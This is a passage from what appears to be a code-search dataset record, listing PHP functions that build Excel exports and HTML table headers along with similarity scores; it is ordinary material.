')');\n\t\t}\n\t\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n\t\n\t\t// Rename worksheet\n\t\t$objPHPExcel->getActiveSheet()->setTitle($title);\n\t\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->setPreCalculateFormulas(true);\n\t\t//$objWriter->save(str_replace('.php', '.xlsx', __FILE__));\n\t\t$objWriter->save(str_replace('.php', '.xlsx', $GLOBALS['ROOT_PATH']. 'spreadsheets/'. $title .'.php'));\n\t\n\t\treturn $title . '.xlsx';\n\t}", "protected function _translateToExcel()\n\t{\n\t\t// Build the header row\n\t\t$strHeaderRow = \"\";\n\t\tforeach ($this->_arrSelectedColumns as $column)\n\t\t{\n\t\t\t$strHeaderRow .= \"\\t\\t\\t\\t\\t<th>\". htmlspecialchars($this->_arrColumns[$column]) .\"</th>\\n\";\n\t\t}\n\t\t\n\t\t// Build the rows\n\t\t$strRows = \"\";\n\t\tforeach ($this->_arrReportData as $arrDetails)\n\t\t{\n\t\t\t$strRow = \"\";\n\t\t\tforeach ($this->_arrSelectedColumns as $column)\n\t\t\t{\n\t\t\t\t$strRow .= \"\\t\\t\\t\\t\\t<td>\". htmlspecialchars($arrDetails[$column]). \"</td>\\n\";\n\t\t\t}\n\t\t\t\n\t\t\t$strRows .= \"\\t\\t\\t\\t<tr>\\n$strRow\\t\\t\\t\\t</tr>\\n\";\n\t\t}\n\t\t\n\t\t$arrRenderMode\t= Sales_Report::getRenderModeDetails(Sales_Report::RENDER_MODE_EXCEL);\n\t\t$strMimeType\t= $arrRenderMode['MimeType'];\n\n\t\t// Put it all together\n\t\t$strReport = \"<html>\n\t<head>\n\t\t<meta http-equiv=\\\"content-type\\\" content=\\\"$strMimeType\\\">\n\t</head>\n\t<body>\n\t\t<table border=\\\"1\\\">\n\t\t\t<thead>\n\t\t\t\t<tr>\n$strHeaderRow\n\t\t\t\t</tr>\n\t\t\t</thead>\n\t\t\t<tbody>\n$strRows\n\t\t\t</tbody>\n\t\t</table>\n\t</body>\n</html>\";\n\n\t\treturn $strReport;\n\t}", "function create_pool_header()\n{\n $header =\n \"<thead>\n <tr>\n <th scope='col' class='rounded-company'>Pool</th>\n <th scope='col' class='rounded-q1'>Priority</th>\n <th scope='col' class='rounded-q1' colspan='2'>URL</th>\n <th scope='col' class='rounded-q1'>Gets</th>\n <th scope='col' class='rounded-q1'>Accepts</th>\n <th scope='col' class='rounded-q1'>Rejects</th>\n <th scope='col' class='rounded-q1'>Discards</th>\n <th scope='col' class='rounded-q1'>Stales</th>\n <th scope='col' class='rounded-q1'>Get Fails</th>\n <th scope='col' class='rounded-q1'>Rem fails</th>\n </tr>\n </thead>\";\n\n return $header;\n}", "public function getJobTitleToTable() {\n return $this->db->selectObjList('SELECT jobtitle_id, shortname, longname, date_create '\n . 'FROM jobtitle ORDER BY shortname DESC;', $array = array(), \"Jobtitle\");\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "public function createHeader($columns)\n {\n $html = \"<tr>\";\n\n \n foreach ($columns as $column) {\n $html .= \"<th>\".$column['label'].\"</th>\";\n }\n $html .= \"</tr>\";\n return $html; \n }", "public function export_to_excel($part)\n {\n // Init\n $table = [];\n $columns = [];\n\n $master_opsional = [];\n foreach (MasterOpsional::all() as $index => $item) {\n $master_opsional[$item['id_master_opsional']] = $item['opsional_master_ops']; \n }\n\n // print_r(MasterJenisAset::all());die();\n // Set column\n $columns = array_merge($columns, \n $this->get_column_responden(),\n $this->get_column_karak_rumah_tangga(),\n $this->get_column_pekerjaan_rumah_tangga(),\n $this->get_column_aset_rumah_tangga(),\n $this->get_column_kesehatan(),\n $this->get_column_perahu(),\n $this->get_column_alat_tangkap(),\n $this->get_column_tenaga_penggerak(),\n $this->get_column_aset_pendukung_usaha(),\n $this->get_column_biaya_tetap(),\n $this->get_column_biaya_variabel(),\n $this->get_column_penerimaan_usaha(),\n $this->get_column_ketenagakerjaan(),\n $this->get_column_konsumsi_pangan(),\n $this->get_column_konsumsi_non_pangan(),\n $this->get_column_partisiasi_sosial(),\n $this->get_column_partisiasi_organisasi(),\n $this->get_column_partisiasi_politik(),\n $this->get_column_rasa_percaya_masy(),\n $this->get_column_rasa_percaya_org(),\n $this->get_column_rasa_percaya_pol(),\n $this->get_column_nilai_norma()\n );\n \n $table[] = $columns;\n\n // Set data each responden\n // foreach (Responden::all() as $key => $value) {\n $i = $part - 1;\n $limit = 100;\n\n foreach (Responden::skip($i * $limit)->take($limit)->get() as $key => $value) {\n $row = [];\n $row = array_merge($row, \n $this->get_data_responden($value->id_responden),\n $this->get_data_karak_rumah_tangga($value->id_responden),\n $this->get_data_pekerjaan_rumah_tangga($value->id_responden),\n $this->get_data_aset_rumah_tangga($value->id_responden),\n $this->get_data_kesehatan($value->id_responden),\n $this->get_data_perahu($value->id_responden),\n $this->get_data_alat_tangkap($value->id_responden),\n $this->get_data_tenaga_penggerak($value->id_responden),\n $this->get_data_aset_pendukung_usaha($value->id_responden),\n $this->get_data_biaya_tetap($value->id_responden),\n $this->get_data_biaya_variabel($value->id_responden),\n $this->get_data_penerimaan_usaha($value->id_responden),\n $this->get_data_ketenagakerjaan($value->id_responden),\n $this->get_data_konsumsi_pangan($value->id_responden),\n $this->get_data_konsumsi_non_pangan($value->id_responden),\n $this->get_data_partisipasi_sosial($value->id_responden, $master_opsional),\n $this->get_data_partisipasi_organisasi($value->id_responden, $master_opsional),\n $this->get_data_partisipasi_politik($value->id_responden, $master_opsional),\n $this->get_data_rasa_percaya_masy($value->id_responden, $master_opsional),\n $this->get_data_rasa_percaya_org($value->id_responden, $master_opsional),\n $this->get_data_rasa_percaya_pol($value->id_responden, $master_opsional),\n $this->get_data_nilai_norma($value->id_responden, $master_opsional)\n );\n\n $table[] = $row;\n }\n // echo 'kolom: ' . count($table[0]) . '<br>';\n // echo 'data: ' . count($table[1]);\n // print_r($table); \n // die();\n\n Excel::create('Panelkanas_2016_Rekod_' . (($i * $limit) + 1) . '_' . (($i * $limit) + $limit), function($excel) use($table){\n $excel->sheet('Sheet1', function($sheet) use($table){\n $sheet->fromArray(\n $table,\n null,\n 'A1',\n false,\n false\n );\n\n\n // Set format of cell\n $sheet->row(1, function($row) {\n // call cell manipulation methods\n $row->setFontWeight('bold');\n\n });\n });\n\n })->export('xlsx');\n }", "public function index()\n\t{\n\t\t//\n return Excel::create('Mastersheet BQu version', function($excel) {\n\n $excel->sheet('Marks-Input Sheet', function($sheet) {\n\n $sheet->loadView('export.input_sheet')\n ->with('student_module_marks_input',StudentModuleMarksInput::all()->reverse())\n ->with('module_element',ModuleElement::all())\n ->with('modules',Module::all())\n ->with('courses',ApplicationCourse::all())\n ->with('users',User::all());\n\n });\n $excel->setcreator('BQu');\n $excel->setlastModifiedBy('BQu');\n $excel->setcompany('BQuServices(PVT)LTD');\n $excel->setmanager('Rajitha');\n\n })->download('xls');\n\t}", "public function winners(){\n\t\t\n\t\t$data = array();\n\t\t\n\t\t//Query for get winner\n\t\t$query = \"select fb_id,fb_name,image,c_date from tb_winner order by c_date desc\";\n\t\t$result = $this->db->query( $query );\n\t\t$data['list_report'] = $result->result_array();\n\t\t\n\t\t\n\t\t//load our new PHPExcel library\n\t\t$this->load->library('excel');\n\t\t//activate worksheet number 1\n\t\t$this->excel->setActiveSheetIndex(0);\n\t\t//name the worksheet\n\t\t$this->excel->getActiveSheet()->setTitle('General Report');\n\t\t//set cell A1 content with some text\n\t\t$i = 1 ;\n\t\t$num = 2 ;\n\t\t$this->excel->getActiveSheet()->setCellValue('A1','Number');\n\t\t$this->excel->getActiveSheet()->setCellValue('B1','FB Id');\n\t\t$this->excel->getActiveSheet()->setCellValue('C1','FB Name');\n\t\t$this->excel->getActiveSheet()->setCellValue('D1','Image');\n\t\t$this->excel->getActiveSheet()->setCellValue('E1','Assign Date');\n\t\t\n\t\tforeach( $data['list_report'] as $report ){\n\t\t\t\n\t\t\t$this->excel->getActiveSheet()->setCellValue('A'.$num,$i);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('B'.$num,$report['fb_id'] );\n\t\t\t$this->excel->getActiveSheet()->setCellValue('C'.$num,$report['fb_name']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('D'.$num,$report['image']);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('E'.$num,$report['c_date']);\n\t\t\t\n\t\t\t$num++;\n\t\t\t$i++;\n\t\t}\n\t\t\n\t\t \n\t\t$filename = $this->createFilename( 'Winner' ); //save our workbook as this file name\n\t\theader('Content-Type: application/vnd.ms-excel;charset=tis-620\"'); //mime type\n\t\theader('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\n\t\theader('Cache-Control: max-age=0'); //no cache\n\t\t\t\t\t\n\t\t//save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n\t\t//if you want to save it as .XLSX Excel 2007 format\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \n\t\t//force user to download the Excel file without writing it to server's HD\n\t\t$objWriter->save('php://output');\n\t\t\n\t}", "public function export_excel(){\n // Load plugin PHPExcel nya\n include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('SIMITA')\n ->setLastModifiedBy('SIMITA')\n ->setTitle(\"Data Koneksi Internet\")\n ->setSubject(\"Koneksi Internet\")\n ->setDescription(\"Laporan Data Koneksi Internet\")\n ->setKeywords(\"Laporan\");\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"LAPORAN DATA INVENTORY INTERNET CABANG\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->getActiveSheet()->mergeCells('A1:G1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 \n $excel->setActiveSheetIndex(0)->setCellValue('B3', \"CABANG\"); // Set kolom B3 \n $excel->setActiveSheetIndex(0)->setCellValue('C3', \"PROVIDER\"); // Set kolom C3 \n $excel->setActiveSheetIndex(0)->setCellValue('D3', \"NO.PELANGGAN\"); // Set kolom D3 \n $excel->setActiveSheetIndex(0)->setCellValue('E3', \"IP PUBLIC\"); // Set kolom E3 \n $excel->setActiveSheetIndex(0)->setCellValue('F3', \"Tgl. Kontrak\");\n $excel->setActiveSheetIndex(0)->setCellValue('G3', \"Tgl. Habis Kontrak\");\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n $internet = $this->m_internet->semua()->result();\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($internet as $data){ // Lakukan looping pada variabel\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->nama_cabang);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->nama_provider);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nomor_pelanggan);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->ip_public);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->tanggal_kontrak);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->masa_kontrak);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(25); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(20); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(25); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Siswa\");\n $excel->setActiveSheetIndex(0);\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Laporan Koneksi Internet.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public function excel()\n {\n // we're joining hypothetical users and payments tables, retrieving\n // the payments table's primary key, the user's first and last name,\n // the user's e-mail address, the amount paid, and the payment\n // timestamp.\n\n $payments = Person::join('persons', 'persons.id', '=', 'university.id')\n ->select(\n 'university.id',\n \\DB::raw(\"concat(persons.fname, ' ', persons.lname) as `name`\"),\n 'persons.email',\n 'payments.total',\n 'persons.created_at')\n ->get();\n\n // Initialize the array which will be passed into the Excel\n // generator.\n $paymentsArray = [];\n\n // Define the Excel spreadsheet headers\n $paymentsArray[] = ['id', 'name', 'email', 'university', 'created_at'];\n\n // Convert each member of the returned collection into an array,\n // and append it to the payments array.\n foreach ($payments as $payment) {\n $paymentsArray[] = $payment->toArray();\n }\n\n // Generate and return the spreadsheet\n Excel::create('payments', function ($excel) use ($invoicesArray) {\n\n // Set the spreadsheet title, creator, and description\n $excel->setTitle('Payments');\n $excel->setCreator('Laravel')->setCompany('WJ Gilmore, LLC');\n $excel->setDescription('payments file');\n\n // Build the spreadsheet, passing in the payments array\n $excel->sheet('sheet1', function ($sheet) use ($paymentsArray) {\n $sheet->fromArray($paymentsArray, null, 'A1', false, false);\n });\n\n })->download('xlsx');\n }", "public function getTableRowNames()\n \t{\n \t\treturn array('title', 'author', 'publishDate', 'client', 'workType', 'briefDescription', 'description', 'caseStudyID', 'isPrivate', 'commentsAllowed', 'screenshots', 'prevImageURL', 'finalURL');\n \t}" ]
[ "0.7534189", "0.6874742", "0.680183", "0.66703105", "0.64511037", "0.6429658", "0.6391844", "0.6174983", "0.6141346", "0.5988894", "0.58675706", "0.5857598", "0.5679751", "0.56229824", "0.5562959", "0.55604863", "0.55181235", "0.550475", "0.5457091", "0.54190004", "0.54006684", "0.5375213", "0.5319245", "0.530633", "0.5297882", "0.52859175", "0.5283702", "0.5228122", "0.522656", "0.5188691", "0.51857245", "0.5178485", "0.5148138", "0.5119885", "0.5107673", "0.50933856", "0.50905704", "0.50867146", "0.508599", "0.50798315", "0.5078724", "0.50662434", "0.50603706", "0.5056748", "0.5039675", "0.50245744", "0.50184876", "0.49992645", "0.4983175", "0.49807966", "0.49774536", "0.49716178", "0.49655113", "0.49593884", "0.49516103", "0.49427822", "0.49250683", "0.4920333", "0.49110472", "0.49102467", "0.49092928", "0.49089655", "0.4907317", "0.48974207", "0.48876756", "0.48791814", "0.48788413", "0.4876137", "0.48752397", "0.48663023", "0.48590666", "0.48489544", "0.48323968", "0.48318642", "0.48317337", "0.4819799", "0.4819602", "0.48088107", "0.4807491", "0.47993338", "0.4797804", "0.4795306", "0.47908074", "0.47854257", "0.47836426", "0.47790298", "0.4774356", "0.47730175", "0.47663864", "0.47639498", "0.4763778", "0.47574857", "0.47454244", "0.4744363", "0.47419268", "0.47380766", "0.47346255", "0.47332856", "0.47310463", "0.4728848" ]
0.7837893
0
Skills Data Excel Headings
public static function skillsPriorityMYSQL() { return [ 'agriculture' => 'Agriculture, Forestry and Fishing', 'mining' => 'Mining', 'manufacturing' => 'Manufacturing', 'electricity' => 'Electricity, Gas, Water and Waste Services', 'construction' => 'Construction', 'w_trade' => 'Wholesale Trade', 'r_trade' => 'Retail Trade', 'accommodation' => 'Accommodation and Food Services', 'transport' => 'Transport, Postal and Warehousing', 'ict' => 'Information Media and Telecommunications', 'financial' => 'Financial and Insurance Services', 'r_estate' => 'Rental, Hiring and Real Estate Services', 'professional' => 'Professional, Scientific and Technical Services', 'admin' => 'Administrative and Support Services', 'public' => 'Public Administration and Safety', 'education' => 'Education and Training', 'health' => 'Health Care and Social Assistance', 'arts' => 'Arts and Recreation Services', 'o_services' => 'Other Services', 'sa_state' => 'South Australia' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "abstract function getheadings();", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", 